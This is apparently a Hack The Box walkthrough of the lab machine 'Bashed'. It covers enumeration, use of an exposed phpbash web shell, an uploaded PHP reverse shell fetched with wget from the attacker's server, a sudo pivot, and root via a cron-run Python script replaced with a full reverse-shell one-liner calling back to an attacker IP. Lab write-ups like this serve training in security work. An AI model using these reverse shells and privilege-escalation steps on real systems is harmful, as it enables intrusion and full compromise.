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HTB 8. Bashed

  1. nmap -A -T4 -p- 10.10.10.68 shows port 80 with Apache httpd 2.4.18 (Ubuntu).
  2. searchsploit apache 2.4 reveals local apache_ctl exploit.
  3. Going to website 10.10.10.68 and looking at content shows that 10.10.10.68/uploads. exists.
  4. dirbuster time with medium wordlist which reveals several folders.
  5. View source code of pages shows nothing.
  6. dirbuster found dev/phpbash.php.
  7. Go to 10.10.10.68 and launch phpbash.php which launches web terminal.
  8. whoami is www-data so lets get the user flag. cat /home/arrexel/user.txt.
  9. test sudo -l and history which shows we can become scriptmanager user without password.
  10. Can't change to scriptmanager because we are in a wbeshell without a tty.
  11. cd /var/www/html/uploads/ and upload payload.
  12. Lets try php-reverse-shell from pentestmonkey instead of metasploit. Download and extract.
  13. Edit the $ip and $port to our ip and port 1234.
  14. Start web server python -m SimpleHTTPServer 80 and run wet http://10.10.14.21/rev.php on the target.
  15. Start netcat nc -nvlp 1234
  16. Go to 10.10.10.68/uploads/rev.php to execute and connect.
  17. Still can't access tty so serach for tty escape and go to to Spawning a TTY Shell.
  18. Just go down the list and try the options. Try python -c 'import pty; pty.spawn("/bin/bash")' and no we are in bash.
  19. sudo su scriptmanager does not work so lets try running a command as the user sudo -u scriptmanager /bin/bash.
  20. whoami is scripmanager and history is none.
  21. ls -la / shows scriptmanager owns /scripts.
  22. cd scripts and ls -la shows test.py and test.txt.
  23. The time modified for the test.txt changes every minute so a cronjob is running the test.py evvery minute as root. Lets change the test.py so it performs malicious actions.
  24. Search for python reverse shell and use the Reverse Shell Cheat Sheet.
  25. Use import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.21",2345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); (-i is interactive mode) and download to target.
  26. Start listening nc -nvlp 2345 and wait for shell.

Someone exploited with CVE-2017-16995 found after running the linux-exploit-suggester.